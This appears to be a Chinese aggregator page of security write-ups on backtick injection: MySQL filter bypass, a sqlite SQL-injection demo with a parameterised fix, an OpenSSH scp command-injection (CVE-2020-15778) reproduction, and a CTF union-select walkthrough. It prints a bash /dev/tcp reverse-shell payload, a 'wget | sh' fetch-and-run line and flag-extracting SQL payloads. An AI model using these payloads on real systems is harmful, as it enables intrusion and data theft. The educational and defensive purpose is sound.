精华内容
下载资源
问答
  • 反引号是个比较特别的字符,下面记录下怎么利用0x00 SQL注入反引号可利用在分隔符及注释作用,不过使用范围只于表名、数据库名、字段名、起别名这些场景,下面具体说下1)表名payload:select * from `users` where ...

    反引号是个比较特别的字符,下面记录下怎么利用

    0x00 SQL注入

    反引号可利用在分隔符及注释作用,不过使用范围只于表名、数据库名、字段名、起别名这些场景,下面具体说下

    1)表名

    payload:select * from `users` where user_id=1 limit 0,1;

    2a2c8e71f1e9443f9dd482424d5252e0.png

    可以正常执行的,这样使用还可以起到分隔符的作用,如下

    eg:select * from`users`where user_id=1 limit 0,1;

    2)数据库名

    payload:select * from `information_schema`.tables;

    f46d2b7071036e1b76b2173e13953acf.png

    3)字段名

    payload:select * from users where `user_id`=1 limit 0,1;

    36d4acbecd174512bc0fc91eebbe0bb5.png

    4)起别名

    payload:select user_id,user `111111` from users where user_id=1 limit 0,1;

    e763afa3a95418b7c852da24b6bd26c3.png

    反引号注释符原理

    上面说了反引号的使用,下面来看看具体是怎么使用来进行绕过SQL检测的

    主要用的就是起别名这个,这个运用范围比较窄

    如果不闭合反引号,则后面的所有都会成为别名

    eg:select 1,2 `111111 from users where user_id=1 limit 0,1;

    99c385c25d640bed13e5686d7d7c0385.png

    相当于注释的作用的,不过运用条件比较苛刻

    展开全文
  • SQL数据库操作示例SQL数据库注入示例如何防止SQL注入问题SQL数据库反注入示例何谓SQL注入?SQL注入是一种非常常见的数据库攻击手段,SQL注入漏洞也是网络世界中最普遍的漏洞之一。大家也许都听过某某学长通过攻击...

    (给ImportNew加星标,提高Java技能)

    转自:Java程序员联盟

    文章目录:

    • 何谓SQL注入?

    • SQL数据库操作示例

    • SQL数据库注入示例

    • 如何防止SQL注入问题

    • SQL数据库反注入示例

    何谓SQL注入?

    SQL注入是一种非常常见的数据库攻击手段,SQL注入漏洞也是网络世界中最普遍的漏洞之一。大家也许都听过某某学长通过攻击学校数据库修改自己成绩的事情,这些学长们一般用的就是SQL注入方法。

    SQL注入其实就是恶意用户通过在表单中填写包含SQL关键字的数据来使数据库执行非常规代码的过程。简单来说,就是数据「越俎代庖」做了代码才能干的事情。这个问题的来源是,SQL数据库的操作是通过SQL语句来执行的,而无论是执行代码还是数据项都必须写在SQL语句之中,这就导致如果我们在数据项中加入了某些SQL语句关键字(比如说SELECT、DROP等等),这些关键字就很可能在数据库写入或读取数据时得到执行。

    多言无益,我们拿真实的案例来说话。下面我们先使用SQLite建立一个学生档案表。

    SQL数据库操作示例

    import sqlite3

    # 连接数据库
    conn = sqlite3.connect('test.db')

    # 建立新的数据表
    conn.executescript('''DROP TABLE IF EXISTS students;
    CREATE TABLE students
    (id INTEGER PRIMARY KEY AUTOINCREMENT,
    name TEXT NOT NULL);''')

    # 插入学生信息
    students = ['Paul','Tom','Tracy','Lily']

    for name in students:
    query = "INSERT INTO students (name) VALUES ('%s')" % (name)
    conn.executescript(query);

    # 检视已有的学生信息
    cursor = conn.execute("SELECT id, name from students")
    print('IDName')
    for row in cursor:
    print('{0}{1}'.format(row[0], row[1]))

    conn.close()

    点击运行按钮将会打印目前表中的内容。上述程序中我们建立了一个test.db数据库以及一个students数据表,并向表中写入了四条学生信息。

    那么SQL注入又是怎么一回事呢?我们尝试再插入一条恶意数据,数据内容就是漫画中的"Robert');DROP TABLE students;--",看看会发生什么情况。

    SQL数据库注入示例

    conn = sqlite3.connect('test.db')

    # 插入包含注入代码的信息
    name = "Robert');DROP TABLE students;--"
    query = "INSERT INTO students (name) VALUES ('%s')" % (name)

    conn.executescript(query)

    # 检视已有的学生信息
    cursor = conn.execute("SELECT id, name from students")
    print('IDName')
    for row in cursor:
    print('{0}{1}'.format(row[0], row[1]))

    conn.close()

    你将会发现,运行后,程序没有输出任何数据内容,而是返回一条错误信息:表单students无法找到!

    这是为什么呢?问题就在于我们所插入的数据项中包含SQL关键字DROP TABLE,这两个关键字的意义是从数据库中清除一个表单。而关键字之前的Robert');使得SQL执行器认为上一命令已经结束,从而使得危险指令DROP TABLE得到执行。也就是说,这段包含DROP TABLE关键字的数据项使得原有的简单的插入姓名信息的SQL语句

    "INSERT INTO students (name) VALUES ('Robert')"

    变为了同时包含另外一条清除表单命令的语句

    "INSERT INTO students (name) VALUES ('Robert');DROP TABLE students;--"

    而SQL数据库执行上述操作后,students表单被清除,因而表单无法找到,所有数据项丢失。

    如何防止SQL注入问题

    那么,如何防止SQL注入问题呢?

    大家也许都想到了,注入问题都是因为执行了数据项中的SQL关键字,那么,只要检查数据项中是否存在SQL关键字不就可以了么?的确是这样,很多数据库管理系统都是采取了这种看似『方便快捷』的过滤手法,但是这并不是一种根本上的解决办法,如果有个美国人真的就叫做『Drop Table』呢?你总不能逼人家改名字吧。

    合理的防护办法有很多。首先,尽量避免使用常见的数据库名和数据库结构。在上面的案例中,如果表单名字并不是students,则注入代码将会在执行过程中报错,也就不会发生数据丢失的情况——SQL注入并不像大家想象得那么简单,它需要攻击者本身对于数据库的结构有足够的了解才能成功,因而在构建数据库时尽量使用较为复杂的结构和命名方式将会极大地减少被成功攻击的概率。

    使用正则表达式等字符串过滤手段限制数据项的格式、字符数目等也是一种很好的防护措施。理论上,只要避免数据项中存在引号、分号等特殊字符就能很大程度上避免SQL注入的发生。

    另外,就是使用各类程序文档所推荐的数据库操作方式来执行数据项的查询与写入操作,比如在上述的案例中,如果我们稍加修改,首先使用execute()方法来保证每次执行仅能执行一条语句,然后将数据项以参数的方式与SQL执行语句分离开来,就可以完全避免SQL注入的问题,如下所示:

    SQL数据库反注入示例

    conn = sqlite3.connect('test.db')

    # 以安全方式插入包含注入代码的信息
    name = "Robert');DROP TABLE students;--"
    query = "INSERT INTO students (name) VALUES (?)"

    conn.execute(query, [name])

    # 检视已有的学生信息
    cursor = conn.execute("SELECT id, name from students")
    print('IDName')
    for row in cursor:
    print('{0}{1}'.format(row[0], row[1]))

    conn.close()

    而对于PHP而言,则可以通过mysql_real_escape_string等方法对SQL关键字进行转义,必要时审查数据项目是否安全来防治SQL注入。

    当然,做好数据库的备份,同时对敏感内容进行加密永远是最重要的。某些安全性问题可能永远不会有完美的解决方案,只有我们做好最基本的防护措施,才能在发生问题的时候亡羊补牢,保证最小程度的损失。

    推荐阅读

    (点击标题可跳转阅读)

    Sql Or NoSql,看完这一篇你就都懂了

    这句简单的 sql ,如何加索引?颠覆了我多年的认知

    腾讯面试题:一条 SQL 语句执行得很慢的原因有哪些?

    看完本文有收获?请转发分享给更多人

    关注「ImportNew」,提升Java技能

    a9aa14643957255d20d11c28c010c992.png

    好文章,我在看❤️

    展开全文
  • 反引号括起来的字符串被shell解释为命令行,在执行时,shell首先执行该命令行,并以它的标准输出结果取代整个反引号(包括两个反引号)部分。如例程中的`date -d '-1 day' +%Y%m%d`就是把这条命令的结果赋给变量OPDATE...
    上方蓝色字体关注我们,一起学安全!作者:Menge&小泫@Timeline Sec本文字数:1160阅读时长:3~4min声明:请勿用作违法用途,否则后果自负0x01 简介

    OpenSSH是SSH(Secure SHell)协议的免费开源实现。OpenSSH是个SSH的软件,linux/unix都用openssh软件提供SSH服务。scp 是 secure copy 的缩写, scp 是 linux 系统下基于 ssh 登陆进行安全的远程文件拷贝命令。

    0x02 漏洞概述

    该漏洞编号CVE-2020-15778。OpenSSH的8.3p1及之前版本中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令。目前绝大多数linux系统受影响。

    0x03 影响版本

    openssh <= openssh-8.3p1

    0x04 环境搭建

    未安装ssh:

    进行安装

    sudo apt-get install openssh-client

    已安装ssh:
    ssh -V 查看版本信息
    bd3ca1616be768157f42061203e19d19.png0x05 漏洞复现

    前提:需要知道目标ssh账号密码

    目标:192.168.233.130

    本机:192.168.233.140

    执行命令:

    scp /tmp/hello.txt xuan@192.168.233.130:'`bash -i >& /dev/tcp/192.168.233.140/9999 0>&1`'

    6302b01f3c61e7f67de4b4c6d21fb4d9.gif

    将本地文件复制到远程机器,本来后面跟的是文件名,但是由于未正确过滤其中的特殊字符导致命令注入。

    0x06 漏洞分析在使用scp远程传输文件时,正常使用是这样的
    scp SourceFile user@host:目录/TargetFile

    在执行上面这条命令时会执行一个本地命令
    scp -t 目录/TargetFile

    对应源码如下:
    0551e79b2661977c26530ee60047a9c5.png
    源码地址:
    https://github.com/openssh/openssh-portable/blob/a2855c048b3f4b17d8787bd3f24232ec0cd79abe/scp.c#L989

    由此可以看到对用户输入的目录没有做过滤,导致攻击者可以利用反引号(` `)可以执行一些shell命令。
    反引号在linux中的作用:反引号(`)这个字符所对应的键一般位于键盘的左上角,不要将其同单引号(’)混淆。反引号括起来的字符串被shell解释为命令行,在执行时,shell首先执行该命令行,并以它的标准输出结果取代整个反引号(包括两个反引号)部分。如例程中的`date -d '-1 day' +%Y%m%d`就是把这条命令的结果赋给变量OPDATE。
    0x07 经验总结下面来看看发现漏洞的作者是怎么总结的:1、攻击者可以poweroff在文件名中放入“ ”或“ 叉子炸弹”,它会导致服务器崩溃或重新启动,这将导致DOS攻击。2、攻击者可以使用bash绑定外壳之类的各种技巧来获取绑定/反向外壳,或执行“wget https://unknownsource.com/possfullydangerous.sh -O- | sh”之类的sh文件。3、由于SHELL首先执行backtick命令,然后执行scp命令,因此我们可以在backtick中编写一个无限循环,这将导致套接字长时间打开。多次此类攻击将不会为新连接留下套接字,并会导致DDOS。对于用户来说,ssh被阻止,但authorized_keys文件中的命令选项允许使用scp的情况。您可以绕过此限制并在远程服务器上执行命令。我翻阅了大量资料,这一篇讲authorized_keys文件说明较为详细:
    https://www.ibm.com/support/knowledgecenter/en/SSLTBW_2.3.0/com.ibm.zos.v2r3.foto100/authkeyf.htm
    在某些情况下,确实是有它的价值的,我在google(国内查不到authorized_keys的资料)上查到有人设置,authorized_keys允许SCP但不允许使用SSH实际登录,当然可能较少,在这种情况下,漏洞显得很有作用了。0x08 修复方式

    1、周期性的更换密码或密钥

    2、使用rsync代替scp
    参考链接:

    https://github.com/cpandya2909/CVE-2020-15778/

    9d12259751bc1e00395cbf54997e4c20.png2733eb9f08fb09c927ef25a16bc9f289.png阅读原文看更多复现文章Timeline Sec 团队安全路上,与你并肩前行
    展开全文
  • 注意到这个反引号 ``,其作用是区分 MySQL 保留字与普通字符 本地尝试 create table desc # 报错 create table ` desc ` # 能成功执行 desc ` abc ` ` def ` desc abc def # 效果是...

    新博客:https://wywwzjj.top/

    http://web.jarvisoj.com:32794/index.php~
    得到源码

    <?php
        require("config.php");
        $table = $_GET['table']?$_GET['table']:"test";
        $table = Filter($table);
        mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
        $sql = "select 'flag{xxx}' from secret_{$table}";
        $ret = sql_query($sql);
        echo $ret[0];
    ?>
    

    ?table=flag 正常响应
    => 存在 secret_flag 表
    注意到这个反引号 ``,其作用是区分 MySQL 保留字与普通字符

    本地尝试

    create table desc  # 报错
    create table `desc`  # 能成功执行
    
    desc `abc` `def`
    desc abc def 
    # 效果是一样的
    

    结合题目 => desc `secret_flag` `
    (注意空格,此处如果是 desc `secret_flag`` 将被认为是执行 desc secret_flag`)

    顺手执行

    ?table=flag`%20`%20union%20select%201
    

    发现还是没有变化,依旧显示 flag{xxx}
    不要灰心,这只显示了一条数据而已,加入 limit 试试

    ?table=flag`%20`%20union%20select%201%20limit%201,1
    

    => 1

    查询字段

    ?table=flag`%20`%20union%20select%20group_concat(column_name)%20from%20information_schema.columns%20
    where%20table_name=0x7365637265745f666c6167%20limit%201,1
    

    => flagUwillNeverKnow
    (此处 table_name 的值要进行 hex 编码)

    查询数据

    ?table=flag`%20`%20union%20select%20flagUwillNeverKnow%20from%20secret_flag%20limit%201,1
    

    => flag

    PS:也可以不用 limit,直接 where 0,使得前面的查询为空,则直接显示我们的数据
    如 ?table=flag%20%20where%200%20union%20select%20flagUwillNeverKnow%20from%20secret_flag

    补充知识

    information_schema 存储数据库信息的数据库

    数据库名

    schemata => schema_name

    tables => table_schema

    columns => table_schema

    表名

    tables => table_name

    columns => table_name

    列名

    columns => columns_name

    -- 获取当前数据库中所有表
    select 1,group_concat(table_name) from information_schema.tables where table_schema=database() 
    
    -- 获得所有列名(字段),flag 要hex编码 0x666c6167
    select 1,group_concat(column_name) from information_schema.columns where table_name=flag; 
    
    -- 下载数据
    -1or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
    
    -- 获取表中的字段名
    -1union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #  
    
    展开全文
  • 本文首发于“合天网安实验室”作者:第二梦本文涉及的实操实验:PHP反序列化漏洞实验(合天网安实验室)​www.hetianlab.com通过本次实验,大家将会明白什么是序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类...
  • 在insert的时候可以使用哪些注入方法呢?比如这个报错的方法,如果报错可以使用,那么同理其他函数也是可以使用的。首先看下语句使用,如下图:update 语法介绍update 即对整张表做数据更新我们在set 这个位置做一个...
  • 继续向下执行,从而输出了flag{xxx} 当table=123时,因为库中不存在secre_123表,因此跳转hacker()函数结束程序 反引号闭合注入 通过反引号的闭合,可以构造SQL注入 mysqli_query($mysqli,"desc `secret_{$table}`")...

空空如也

空空如也

1 2 3 4 5 ... 17
收藏数 333
精华内容 133
热门标签
关键字:

反引号注入